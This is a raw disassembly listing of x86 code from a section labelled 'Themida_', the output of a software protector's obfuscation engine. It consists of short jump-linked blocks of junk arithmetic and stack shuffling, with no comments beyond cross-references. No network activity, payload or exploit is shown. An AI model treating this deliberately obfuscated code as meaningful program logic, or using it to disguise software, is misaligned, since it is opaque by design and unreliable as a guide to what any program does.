loc_56034C: ; CODE XREF: Themida_:0056C8E6j
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edi
mov edi, 4
push eax
jmp loc_56AAE2
; ---------------------------------------------------------------------------
loc_560360: ; CODE XREF: Themida_:00568382j
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edx
jmp loc_56598C
; ---------------------------------------------------------------------------
loc_560375: ; CODE XREF: Themida_:0055E828j
pop eax
jmp loc_563781
; ---------------------------------------------------------------------------
loc_56037B: ; CODE XREF: Themida_:00561642j
push dword ptr [esp]
jmp loc_56DDF6
; ---------------------------------------------------------------------------
loc_560383: ; CODE XREF: Themida_:00560934j
pop esp
push ebx
jmp loc_562A19
; ---------------------------------------------------------------------------
loc_56038A: ; CODE XREF: Themida_:0056861Bj
push edi
mov edi, esp
push ecx
mov ecx, 4
jmp loc_56C82D
; ---------------------------------------------------------------------------
loc_560398: ; CODE XREF: Themida_:0056798Bj
mov esi, [esp]
add esp, 4
push 49D5h
mov [esp], edx
jmp loc_564007
; ---------------------------------------------------------------------------
loc_5603AB: ; CODE XREF: Themida_:005612A0j
add esp, 2
jmp loc_56BD3B
; ---------------------------------------------------------------------------
loc_5603B3: ; CODE XREF: Themida_:0055DB0Bj
push ebx
mov bl, 5Dh
jmp loc_56C457
; ---------------------------------------------------------------------------
loc_5603BB: ; CODE XREF: Themida_:00565AE0j
xor ebp, esi
pop esi
jmp loc_56E8B9
; ---------------------------------------------------------------------------
loc_5603C3: ; CODE XREF: Themida_:00561A60j
mov ecx, 60C772E0h
jmp loc_561696
; ---------------------------------------------------------------------------
loc_5603CD: ; CODE XREF: Themida_:00563930j
mov esp, [esp]
jmp loc_55D962
; ---------------------------------------------------------------------------
loc_5603D5: ; CODE XREF: Themida_:00564551j
pop ebx
jmp loc_56EE9B
; ---------------------------------------------------------------------------
loc_5603DB: ; CODE XREF: Themida_:0056046Fj
mov edx, esp
sub esp, 4
mov [esp], esi
mov esi, 33A84C5Fh
or esi, 32443A04h
dec esi
jmp loc_55DAEC
; ---------------------------------------------------------------------------
loc_5603F7: ; CODE XREF: Themida_:005690D4j
xor edi, 0F25079F1h
jmp loc_568374
; ---------------------------------------------------------------------------
loc_560402: ; CODE XREF: Themida_:0055F378j
add eax, ecx
add eax, 74131809h
jmp loc_566243
; ---------------------------------------------------------------------------
loc_56040E: ; CODE XREF: Themida_:005656D2j
sub esi, edx
pop edx
add esi, ebp
push ecx
mov ecx, 14B8388Eh
add esi, ecx
pop ecx
mov ebp, [esp]
jmp loc_560E63
; ---------------------------------------------------------------------------
loc_560424: ; CODE XREF: Themida_:0056B387j
dec edi
sub edi, 0BF7F19D0h
xor edx, edi
pop edi
or edx, 59AA282Dh
push eax
mov eax, 79BB2939h
xor edx, eax
pop eax
add ecx, 383516D2h
add ecx, edx
sub ecx, 383516D2h
pop edx
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
jmp loc_56159E
; ---------------------------------------------------------------------------
loc_56045E: ; CODE XREF: Themida_:0055DCBBj
pop dword ptr [esp]
mov esp, [esp]
imul cx
push 29A9h
mov [esp], edx
jmp loc_5603DB
; ---------------------------------------------------------------------------
loc_560474: ; CODE XREF: Themida_:0056D353j
push eax
jmp loc_56AC32
; ---------------------------------------------------------------------------
loc_56047A: ; CODE XREF: Themida_:00560D9Bj
add ebp, esi
jmp loc_565560
; ---------------------------------------------------------------------------
loc_560481: ; CODE XREF: Themida_:00566666j
mov [esp], ebx
mov ebx, esp
push ebp
push 59181C97h
jmp loc_56C6B0
; ---------------------------------------------------------------------------
loc_560491: ; CODE XREF: Themida_:005629D2j
pop ecx
push 1457h
mov [esp], ecx
mov ch, 18h
jmp loc_564DE5
; ---------------------------------------------------------------------------
loc_5604A1: ; CODE XREF: Themida_:0055DEB1j
pop ebp
xor ecx, 5732531Ch
add ecx, 0A15AB2A5h
add eax, 1E3B58A9h
add eax, ecx
sub eax, 1E3B58A9h
jmp loc_55E6F6
; ---------------------------------------------------------------------------
loc_5604BF: ; CODE XREF: Themida_:0056F708j
add esp, 4
or eax, eax
jz loc_56B7BB
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_572394
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_5604E1: ; CODE XREF: sub_59DB3D-3141Aj
mov eax, [esp+2Ch+var_2C]
jmp loc_56BFE1
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_5604E9: ; CODE XREF: Themida_:0056E57Bj
push eax
mov eax, 1AA052A6h
or eax, 42244205h
jmp loc_571095
; ---------------------------------------------------------------------------
loc_5604F9: ; CODE XREF: Themida_:0055FEE8j
mov eax, 61255EFDh
xor ebp, eax
push dword ptr [esp]
pop eax
push 44E1h
jmp loc_56D70D
; ---------------------------------------------------------------------------
loc_56050E: ; CODE XREF: Themida_:0055F9BBj
push edi
push esp
pop edi
add edi, 4
add edi, 4
jmp loc_5676D1
; ---------------------------------------------------------------------------
loc_560522: ; CODE XREF: Themida_:0056BAF1j
add ecx, eax
push edi
jmp loc_56542F
; ---------------------------------------------------------------------------
loc_56052A: ; CODE XREF: Themida_:00570F23j
add esp, 4
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_55D6CC
; ---------------------------------------------------------------------------
loc_56054C: ; CODE XREF: Themida_:0056E0B5j
xor ecx, 9416AECBh
add edx, ecx
pop ecx
sub edx, 4
xor edx, [esp]
jmp loc_56F40A
; ---------------------------------------------------------------------------
loc_560563: ; CODE XREF: Themida_:0055D583j
push ebp
mov ebp, 3E65026Dh
dec ebp
jmp loc_56A2F4
; ---------------------------------------------------------------------------
loc_56056F: ; CODE XREF: Themida_:00562BA7j
pop ecx
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
pop edx
jmp loc_5620DE
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 470Eh
mov [esp], ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55FABE
; ---------------------------------------------------------------------------
loc_5605A0: ; CODE XREF: Themida_:00569B41j
shr eax, 0Bh
xor ecx, eax
push 4B20h
mov [esp], ebx
jmp loc_56275F
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_567333
; ---------------------------------------------------------------------------
loc_5605BB: ; CODE XREF: Themida_:0056A2CFj
push dword ptr [esp+4]
mov edi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_56E255
; ---------------------------------------------------------------------------
loc_5605DC: ; CODE XREF: Themida_:0056A347j
mov [esp], edi
mov edi, 295656AEh
sub edi, 4970AC2Fh
add esi, edi
pop edi
sub ebp, 39AB5621h
add ebp, esi
add ebp, 39AB5621h
mov esi, [esp]
jmp loc_560C79
; ---------------------------------------------------------------------------
loc_560603: ; CODE XREF: Themida_:00572025j
inc ecx
shr ecx, 6
sub ecx, 112AD12h
jmp loc_56441C
; ---------------------------------------------------------------------------
loc_560612: ; CODE XREF: Themida_:0056DB2Aj
add ebp, esi
sub ebp, 5EF75543h
mov esi, [esp]
add esp, 4
add ebp, 2
jmp loc_562204
; ---------------------------------------------------------------------------
loc_560628: ; CODE XREF: Themida_:0055D4F6j
mov ebx, [esp]
add esp, 4
jmp loc_56F2EB
; ---------------------------------------------------------------------------
loc_560633: ; CODE XREF: Themida_:00570AEDj
xchg ebx, [esp]
jmp loc_56C667
; ---------------------------------------------------------------------------
loc_56063B: ; CODE XREF: Themida_:00571582j
mov [esp], dx
push ax
pushf
jmp loc_561FB5
; ---------------------------------------------------------------------------
loc_560647: ; CODE XREF: Themida_:0055E3D9j
push eax
jmp loc_56DDCF
; ---------------------------------------------------------------------------
loc_56064D: ; CODE XREF: Themida_:005660F9j
xchg ebx, ebp
jmp loc_566B78
; ---------------------------------------------------------------------------
loc_560654: ; CODE XREF: Themida_:0056EC0Bj
pop ecx
add edi, edx
jmp loc_56782E
; ---------------------------------------------------------------------------
loc_56065C: ; CODE XREF: Themida_:00571CBEj
add eax, edx
pop edx
sub esp, 4
mov [esp], edi
mov edi, 743314E9h
xor edi, 71D975A8h
jmp loc_56FC24
; ---------------------------------------------------------------------------
loc_560678: ; CODE XREF: Themida_:00570B0Fj
sub edx, 0C47CE94Ah
mov ebx, edx
pop edx
and ebx, 50A515Ch
sub ebx, 5FA576F2h
inc ebx
jmp loc_56FF99
; ---------------------------------------------------------------------------
loc_560693: ; CODE XREF: Themida_:00560FDDj
sub ebx, 71C85950h
mov edx, [esp]
add esp, 4
jmp loc_5600E9
; ---------------------------------------------------------------------------
loc_5606A7: ; CODE XREF: Themida_:0056C47Dj
push ecx
mov ecx, 6BE95130h
jmp loc_56E0B3
; ---------------------------------------------------------------------------
loc_5606B2: ; CODE XREF: Themida_:00560AB2j
pop edi
pop dword ptr [esp]
pop esp
jmp loc_55E39C
; ---------------------------------------------------------------------------
loc_5606BC: ; CODE XREF: Themida_:00570A8Aj
shl edi, 1
shl edi, 4
shr edi, 2
jmp loc_568450
; ---------------------------------------------------------------------------
loc_5606C9: ; CODE XREF: Themida_:0056DCEFj
pop esp
sub esp, 4
mov [esp], edi
jmp loc_562719
; ---------------------------------------------------------------------------
loc_5606D8: ; CODE XREF: Themida_:00565248j
push eax
mov eax, 4
add esi, eax
pop eax
xchg esi, [esp]
pop esp
xor eax, edx
xor edx, eax
jmp loc_56435D
; ---------------------------------------------------------------------------
loc_5606EE: ; CODE XREF: Themida_:0056033Aj
pop esi
sub esp, 4
mov [esp], ebp
jmp loc_56B6F3
; ---------------------------------------------------------------------------
loc_5606FA: ; CODE XREF: Themida_:00561E69j
add ebx, 0E208027Fh
sub eax, ebx
jmp loc_5660B6
; ---------------------------------------------------------------------------
loc_560707: ; CODE XREF: Themida_:005721B3j
xor edx, eax
xor eax, edx
push edx
xor [esp], ecx
xor ecx, [esp]
xor [esp], ecx
xor ecx, ebp
xor ebp, ecx
xor ecx, ebp
not ebp
xor ecx, ebp
jmp loc_55DAE2
; ---------------------------------------------------------------------------
loc_560724: ; CODE XREF: Themida_:00567654j
pop edi
jmp loc_569715
; ---------------------------------------------------------------------------
loc_56072A: ; CODE XREF: Themida_:00563F12j
mov [esp], edi
mov edi, 0D4838E5h
mov edx, 0D4838E7h
xor edx, edi
push dword ptr [esp]
jmp loc_567C1B
; ---------------------------------------------------------------------------
loc_560741: ; CODE XREF: Themida_:0056F435j
pop edx
jmp loc_56EA55
; ---------------------------------------------------------------------------
loc_560747: ; CODE XREF: Themida_:00565119j
push 0CCAh
mov [esp], ebp
mov ebp, 4
add edx, ebp
pop ebp
add edx, 4
jmp loc_56666B
; ---------------------------------------------------------------------------
loc_56075F: ; CODE XREF: Themida_:005653B1j
add edx, 2B81AA1h
add edx, edi
sub edx, 2B81AA1h
pop edi
push ebx
push ebp
push 6A039B7h
pop ebp
dec ebp
shl ebp, 5
sub ebp, 0D40736BCh
mov ebx, ebp
pop ebp
add edx, 291E3542h
add edx, 1C3A79F5h
jmp loc_56D331
; ---------------------------------------------------------------------------
loc_560794: ; CODE XREF: Themida_:00565B56j
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edx
push ecx
push 12610846h
mov ecx, [esp]
push ebx
push esp
jmp loc_55F272
; ---------------------------------------------------------------------------
loc_5607AD: ; CODE XREF: Themida_:0056B6D1j
add edx, edi
pop edi
add edx, eax
sub edx, 891305Fh
push dword ptr [esp]
jmp loc_568E15
; ---------------------------------------------------------------------------
loc_5607C0: ; CODE XREF: Themida_:00566B17j
add ecx, 0D10845FFh
add ebp, ecx
pop ecx
jmp loc_5656FA
; ---------------------------------------------------------------------------
loc_5607CE: ; CODE XREF: Themida_:0055EEF9j
pop ecx
sub esp, 4
mov [esp], edi
jmp loc_56DB95
; ---------------------------------------------------------------------------
loc_5607DA: ; CODE XREF: Themida_:00569B2Aj
mov ecx, 0
sub ecx, 7916449Bh
sub ecx, edx
add ecx, 7916449Bh
xchg ecx, edx
mov ecx, [esp]
add esp, 4
jmp loc_565517
; ---------------------------------------------------------------------------
loc_5607FA: ; CODE XREF: Themida_:00570ED0j
add edi, 32B47E06h
pop edx
xchg edi, [esp]
pop esp
shl dword ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56080E: ; CODE XREF: Themida_:0055F481j
mov [esp], esp
push eax
push esi
push ebp
push 6A1C295Ah
pop ebp
jmp loc_563E10
; ---------------------------------------------------------------------------
loc_56081F: ; CODE XREF: Themida_:0055EDBAj
mov ebp, eax
pop eax
sub ebp, 7D1C66CCh
add ebp, 419F409Ah
jmp loc_564775
; ---------------------------------------------------------------------------
loc_560833: ; CODE XREF: Themida_:0056A071j
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_56B7FF
; ---------------------------------------------------------------------------
loc_560842: ; CODE XREF: Themida_:0056D8E8j
add esi, 4
xchg esi, [esp]
pop esp
push esi
pop edi
pop esi
xor [esp+4], edi
mov edi, [esp]
push edi
jmp loc_56CA0F
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_560870: ; CODE XREF: Themida_:00563A55j
pop edx
push ebp
mov ebp, 4
add edx, ebp
pop ebp
push esi
mov esi, 479D48A0h
add esi, 0B862B764h
add edx, esi
pop esi
push 1CFCh
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_56420A
; ---------------------------------------------------------------------------
loc_5608A6: ; CODE XREF: Themida_:00570FC2j
mov ebp, 52596E99h
add dword ptr [esp+4], 5E9275A9h
push edx
push edi
mov edi, 75B861DBh
shr edi, 2
shr edi, 3
shr edi, 1
neg edi
add edi, 59B74B12h
mov edx, edi
pop edi
jmp loc_5717E0
; ---------------------------------------------------------------------------
loc_5608D2: ; CODE XREF: Themida_:005670F3j
push edi
mov edi, 2E352AE9h
dec edi
not edi
add edi, 4CA1289Eh
sub edi, 5A0B4D1h
mov edx, edi
pop edi
and ecx, edx
pop edx
add ecx, 3933049Fh
add eax, 681F0295h
push ecx
jmp loc_5703F9
; ---------------------------------------------------------------------------
loc_5608FE: ; CODE XREF: Themida_:0056B9DDj
mov [esp], ecx
mov eax, [esp]
jmp loc_5667BB
; ---------------------------------------------------------------------------
loc_560909: ; CODE XREF: Themida_:0055D880j
xchg esi, [esp]
pop esp
mov [esp], esp
push edi
mov edi, 4
add [esp+4], edi
pop edi
push dword ptr [esp]
pop edi
push ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
xchg ebp, [esp]
jmp loc_560383
; ---------------------------------------------------------------------------
loc_560939: ; CODE XREF: Themida_:0056A2EFj
mov ebx, 799875A4h
and ebx, 2A753E56h
add ebx, 1F163E9Eh
sub eax, ebx
pop ebx
add eax, edx
add eax, 472672A2h
jmp loc_5619C6
; ---------------------------------------------------------------------------
loc_560959: ; CODE XREF: Themida_:00569F55j
mov esp, [esp]
xor bl, al
jmp loc_569817
; ---------------------------------------------------------------------------
loc_560963: ; CODE XREF: Themida_:0056623Ej
add edx, edi
jmp loc_56757F
; ---------------------------------------------------------------------------
loc_56096A: ; CODE XREF: Themida_:00570441j
add eax, edi
pop edi
mov esi, [esp]
jmp loc_56838E
; ---------------------------------------------------------------------------
loc_560975: ; CODE XREF: Themida_:0055FCB0j
pop ecx
push ecx
mov ecx, esp
jmp loc_56CB69
; ---------------------------------------------------------------------------
loc_56097E: ; CODE XREF: Themida_:005707F8j
add al, bl
pop ebx
not al
jmp loc_561567
; ---------------------------------------------------------------------------
loc_560988: ; CODE XREF: Themida_:00570F4Aj
mov [esp], ebx
mov bl, 0D6h
add bl, 0EAh
jmp loc_570CBB
; ---------------------------------------------------------------------------
loc_560995: ; CODE XREF: Themida_:0055DC4Dj
pop edi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
sub [edi+24h], esi
jmp loc_56E787
; ---------------------------------------------------------------------------
loc_5609A8: ; CODE XREF: Themida_:00566964j
push ecx
mov ecx, 48CC16DBh
mov ebx, 737936BAh
sub ebx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_56225C
; ---------------------------------------------------------------------------
loc_5609C3: ; CODE XREF: Themida_:0057026Bj
push dword ptr [esp]
pop ebx
sub esp, 4
mov [esp], edi
jmp loc_56CEBF
; ---------------------------------------------------------------------------
loc_5609D2: ; CODE XREF: Themida_:0056F97Bj
mov ebp, 2C0E3732h
add dword ptr [esp+4], 71A500A0h
sub [esp+4], ebp
sub dword ptr [esp+4], 71A500A0h
pop ebp
mov esi, [esp]
add esp, 4
jmp loc_56EE70
; ---------------------------------------------------------------------------
loc_5609F7: ; CODE XREF: Themida_:0055FB75j
add eax, edi
pop edi
jmp loc_5683E8
; ---------------------------------------------------------------------------
loc_5609FF: ; CODE XREF: Themida_:0056D737j
mov ah, 0F1h
add cl, 9Ch
add cl, ah
jmp loc_562CAB
; ---------------------------------------------------------------------------
loc_560A0B: ; CODE XREF: Themida_:005612E9j
mov edx, esi
pop esi
xor edx, 0CC1B54CCh
sub eax, edx
pop edx
and esi, eax
jmp loc_568A5F
; ---------------------------------------------------------------------------
loc_560A1E: ; CODE XREF: Themida_:00568260j
push 2AB15F79h
jmp loc_5624FB
; ---------------------------------------------------------------------------
loc_560A28: ; CODE XREF: Themida_:0055EAB2j
inc ecx
add ecx, 72345450h
sub ecx, 0D22EEEA6h
sub ebp, 22D6228Dh
add ebp, ecx
add ebp, 22D6228Dh
jmp loc_570798
; ---------------------------------------------------------------------------
loc_560A48: ; CODE XREF: Themida_:00563015j
pop edi
inc edi
add edi, 0FFFFFFFFh
push ebp
push eax
push ebx
mov ebx, 16E36A4Dh
xor ebx, 7EFA6ACAh
mov eax, ebx
pop ebx
mov ebp, 98AE443Ah
jmp loc_563B6C
; ---------------------------------------------------------------------------
loc_560A6B: ; CODE XREF: Themida_:0055F5E1j
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_570873
; ---------------------------------------------------------------------------
loc_560A79: ; CODE XREF: Themida_:00561FE0j
push ebp
jmp loc_568D59
; ---------------------------------------------------------------------------
loc_560A7F: ; CODE XREF: Themida_:00565EDCj
pop esp
xor ebx, eax
push edx
mov edx, 2Ch
push eax
jmp loc_55ECBA
; ---------------------------------------------------------------------------
loc_560A8E: ; CODE XREF: Themida_:005600FDj
not edi
xor edi, 0BD604404h
sub esi, edi
pop edi
jmp loc_56EF72
; ---------------------------------------------------------------------------
loc_560A9E: ; CODE XREF: Themida_:0055E617j
add esi, 2EA46C95h
jmp loc_5698F5
; ---------------------------------------------------------------------------
loc_560AA9: ; CODE XREF: Themida_:00571E78j
pop esi
add edi, 2
push edi
push dword ptr [esp+4]
jmp loc_5606B2
; ---------------------------------------------------------------------------
loc_560AB7: ; CODE XREF: Themida_:0056E1CDj
xor edi, 5F10DEDh
add edi, 60F75601h
mov edx, edi
pop edi
sub [esp+4], edx
pop edx
jmp loc_56B63B
; ---------------------------------------------------------------------------
loc_560AD0: ; CODE XREF: Themida_:00569BE9j
xor ebp, esi
jmp loc_560BA1
; ---------------------------------------------------------------------------
loc_560AD7: ; CODE XREF: Themida_:005641A3j
push ebp
mov ebp, 5AA75610h
jmp loc_570ED5
; ---------------------------------------------------------------------------
loc_560AE2: ; CODE XREF: Themida_:005631EDj
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_56DB2F
; ---------------------------------------------------------------------------
loc_560AEE: ; CODE XREF: Themida_:00571B9Bj
pop edi
sub ebx, 7CD25754h
add ebx, ecx
add ebx, 7CD25754h
jmp loc_570B7F
; ---------------------------------------------------------------------------
loc_560B02: ; CODE XREF: Themida_:0055E855j
add ebx, ecx
pop ecx
and ecx, ebx
pop ebx
sub ecx, 14FC0024h
and eax, ecx
mov ecx, [esp]
jmp loc_55E73E
; ---------------------------------------------------------------------------
loc_560B18: ; CODE XREF: Themida_:0055E3F1j
add edx, edi
jmp loc_56A8E0
; ---------------------------------------------------------------------------
loc_560B1F: ; CODE XREF: Themida_:0056F460j
sub edi, 4
jmp loc_565280
; ---------------------------------------------------------------------------
loc_560B2A: ; CODE XREF: Themida_:0055E177j
sub edi, 11D24397h
xor ebx, edi
jmp loc_55DD19
; ---------------------------------------------------------------------------
loc_560B37: ; CODE XREF: Themida_:00561197j
neg edx
push eax
mov eax, 4E6931D1h
xor edx, eax
pop eax
xor edx, 0D0C83F2Fh
push esi
mov esi, 6F3512B4h
sub eax, esi
pop esi
add eax, edx
jmp loc_567EF8
; ---------------------------------------------------------------------------
loc_560B58: ; CODE XREF: Themida_:0055E397j
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
mov edx, esp
sub esp, 4
jmp loc_561702
; ---------------------------------------------------------------------------
loc_560B77: ; CODE XREF: Themida_:00572499j
sub [esp], ecx
add dword ptr [esp], 51380437h
pop ecx
xchg ecx, esi
sub esi, 9968AB09h
add ebx, esi
jmp loc_566C33
; ---------------------------------------------------------------------------
loc_560B91: ; CODE XREF: Themida_:00570C03j
pop ecx
pop ecx
push ecx
mov cl, 0A1h
or cl, 60h
sub cl, 0C3h
jmp loc_56DCCD
; ---------------------------------------------------------------------------
loc_560BA1: ; CODE XREF: Themida_:00560AD2j
mov esi, [esp]
add esp, 4
mov edi, ebp
jmp loc_56398F
; ---------------------------------------------------------------------------
loc_560BB1: ; CODE XREF: Themida_:00561EF7j
add eax, 3F005074h
not eax
xor eax, 6FB97D6Ch
shl eax, 4
xor eax, 202B4C19h
mov ebp, eax
jmp loc_56D7C8
; ---------------------------------------------------------------------------
loc_560BCC: ; CODE XREF: Themida_:00563FCBj
mov dh, 84h
xor cl, dh
pop edx
jmp loc_563A75
; ---------------------------------------------------------------------------
loc_560BD6: ; CODE XREF: Themida_:00571EC5j
add esp, 4
add ebp, 229B66A2h
add ebp, edi
sub ebp, 229B66A2h
jmp loc_5701D0
; ---------------------------------------------------------------------------
loc_560BEC: ; CODE XREF: Themida_:0055E113j
pop esp
mov [esp], edi
push ebx
push edi
push edx
push 262F5900h
pop edx
sub edx, 583D3CCEh
sub edx, 78AFAEAFh
mov edi, edx
pop edx
not edi
not edi
shr edi, 6
add edi, 64D60123h
jmp loc_561553
; ---------------------------------------------------------------------------
loc_560C1A: ; CODE XREF: Themida_:00568A91j
or ecx, 33F659E9h
inc ecx
push edx
mov edx, 4D6D2645h
or ecx, edx
pop edx
push esi
mov esi, 0A9711779h
add ecx, esi
jmp loc_569D20
; ---------------------------------------------------------------------------
loc_560C37: ; CODE XREF: Themida_:0056334Aj
add eax, ecx
jmp loc_55E06B
; ---------------------------------------------------------------------------
loc_560C3E: ; CODE XREF: Themida_:0056BFA0j
add [esp+0Ch], ebx
pop ebx
jmp loc_5657F2
; ---------------------------------------------------------------------------
loc_560C48: ; CODE XREF: Themida_:0056D5A0j
pop edx
add bh, al
pop eax
pop cx
push dx
mov dl, 5Eh
jmp loc_565439
; ---------------------------------------------------------------------------
loc_560C57: ; CODE XREF: Themida_:0055D9C1j
push ebx
mov ebx, 26D5288Bh
inc ebx
jmp loc_56A2D4
; ---------------------------------------------------------------------------
loc_560C63: ; CODE XREF: Themida_:0055EF8Ej
pop esp
mov [esp], edx
jmp loc_5612FF
; ---------------------------------------------------------------------------
loc_560C6C: ; CODE XREF: Themida_:0056C609j
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_568FED
; ---------------------------------------------------------------------------
loc_560C79: ; CODE XREF: Themida_:005605FEj
add esp, 4
xchg ebp, [esp]
pop esp
push edx
jmp loc_5712F3
; ---------------------------------------------------------------------------
loc_560C86: ; CODE XREF: Themida_:005665A8j
sub ecx, ebp
pop ebp
sub esp, 4
mov [esp], eax
mov eax, 0
add eax, 32080D86h
add eax, ecx
sub eax, 32080D86h
push ecx
mov cl, dl
mov [eax], cl
pop ecx
pop eax
mov ecx, [esp]
add esp, 4
jmp loc_564E1F
; ---------------------------------------------------------------------------
loc_560CB8: ; CODE XREF: Themida_:00571AADj
pop edx
jmp loc_566703
; ---------------------------------------------------------------------------
loc_560CBE: ; CODE XREF: Themida_:0056B6BAj
push edi
jmp loc_570468
; ---------------------------------------------------------------------------
loc_560CC4: ; CODE XREF: Themida_:0056898Fj
mov edx, [esp]
jmp loc_56B44E
; ---------------------------------------------------------------------------
loc_560CCC: ; CODE XREF: Themida_:00567343j
mov [esp], ebx
jmp loc_5669C9
; ---------------------------------------------------------------------------
loc_560CD4: ; CODE XREF: Themida_:00569A10j
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_565A99
; ---------------------------------------------------------------------------
loc_560CE7: ; CODE XREF: Themida_:0056CAB0j
mov ecx, 4
jmp loc_55F436
; ---------------------------------------------------------------------------
loc_560CF1: ; CODE XREF: Themida_:005624B2j
add esi, 4
xchg esi, [esp]
pop esp
push ebp
mov ebp, 60CD3D7Ah
add ebp, 0DB2C39DBh
and ebx, ebp
pop ebp
jmp loc_563598
; ---------------------------------------------------------------------------
loc_560D0F: ; CODE XREF: Themida_:00563259j
mov [esp], ebx
mov ebx, 69A17D1Fh
jmp loc_56B9FF
; ---------------------------------------------------------------------------
loc_560D1C: ; CODE XREF: Themida_:00568172j
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
push esi
jmp loc_56906A
; ---------------------------------------------------------------------------
loc_560D34: ; CODE XREF: Themida_:00565E09j
pop dword ptr [esp]
pop esp
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_56B098
; ---------------------------------------------------------------------------
loc_560D46: ; CODE XREF: Themida_:005686A1j
mov edi, ebx
jmp loc_56FFB8
; ---------------------------------------------------------------------------
loc_560D4D: ; CODE XREF: Themida_:0056256Aj
sub esi, 4C343CD4h
jmp loc_572768
; ---------------------------------------------------------------------------
loc_560D58: ; CODE XREF: Themida_:0055E4A1j
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
mov [esp], esp
push ebx
push ebp
mov ebp, 50614B23h
jmp loc_56B10C
; ---------------------------------------------------------------------------
loc_560D70: ; CODE XREF: Themida_:0056E8E6j
mov ecx, 2E354C7Dh
add edx, ecx
pop ecx
jmp loc_56AFDB
; ---------------------------------------------------------------------------
loc_560D7D: ; CODE XREF: Themida_:00563357j
add ebp, 40BB537Eh
sub ebp, ecx
sub ebp, 40BB537Eh
pop ecx
add esi, 33985164h
add esi, ebp
sub esi, 33985164h
pop ebp
jmp loc_56047A
; ---------------------------------------------------------------------------
loc_560DA0: ; CODE XREF: Themida_:00571F78j
sub esp, 4
mov [esp], ebp
mov ebp, esp
push 22A8h
mov [esp], edi
mov edi, 4
add ebp, edi
pop edi
jmp loc_56B741
; ---------------------------------------------------------------------------
loc_560DC0: ; CODE XREF: Themida_:0056E250j
push 5037h
mov [esp], edi
jmp loc_56B06E
; ---------------------------------------------------------------------------
loc_560DCD: ; CODE XREF: Themida_:00567C9Fj
pop esp
mov [esp], ecx
push ebx
push ecx
jmp loc_562075
; ---------------------------------------------------------------------------
loc_560DD8: ; CODE XREF: Themida_:0055DBFEj
push ebx
mov ebx, 6BAB1204h
add edx, ebx
jmp loc_570BA2
; ---------------------------------------------------------------------------
loc_560DE5: ; CODE XREF: Themida_:0055ECFFj
mov ebp, 22605FF5h
neg ebp
not ebp
add ebp, 5195296Bh
add ebp, 0EA24EA63h
sub edx, ebp
pop ebp
or edx, 36F0FFAh
jmp loc_565051
; ---------------------------------------------------------------------------
loc_560E08: ; CODE XREF: Themida_:005671FFj
sub edi, 0E9023BE1h
sub ebx, edi
pop edi
sub ebx, 57C32D7Bh
mov eax, [esp]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_55F30D
; ---------------------------------------------------------------------------
loc_560E42: ; CODE XREF: Themida_:00561833j
shl esi, 6
xor esi, 8B800044h
add edx, esi
mov esi, [esp]
add esp, 4
jmp loc_56B7AD
; ---------------------------------------------------------------------------
loc_560E58: ; CODE XREF: Themida_:0057034Dj
mov esi, [esp]
add esp, 4
jmp loc_566D6E
; ---------------------------------------------------------------------------
loc_560E63: ; CODE XREF: Themida_:0056041Fj
push ebp
jmp loc_55E909
; ---------------------------------------------------------------------------
loc_560E69: ; CODE XREF: Themida_:00567891j
pop esi
shl eax, 5
or eax, 7C782C37h
shl eax, 1
or eax, 501F52C2h
push edi
mov edi, 37FB1893h
jmp loc_56FE4B
; ---------------------------------------------------------------------------
loc_560E84: ; CODE XREF: Themida_:0056FB06j
push dword ptr [esp]
pop esi
push ebp
push esp
mov ebp, [esp]
add esp, 4
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
jmp loc_55EA79
; ---------------------------------------------------------------------------
loc_560EAB: ; CODE XREF: Themida_:005692FAj
pop eax
xchg edx, [esp]
mov esp, [esp]
jmp loc_56613F
; ---------------------------------------------------------------------------
loc_560EB7: ; CODE XREF: Themida_:0056BB50j
add esp, 4
jmp loc_5643A3
; ---------------------------------------------------------------------------
loc_560EBF: ; CODE XREF: Themida_:0056A4AAj
add esp, 4
sub dword ptr [esp+4], 44E7261Ch
add dword ptr [esp+4], 195D565Dh
jmp loc_56779D
; ---------------------------------------------------------------------------
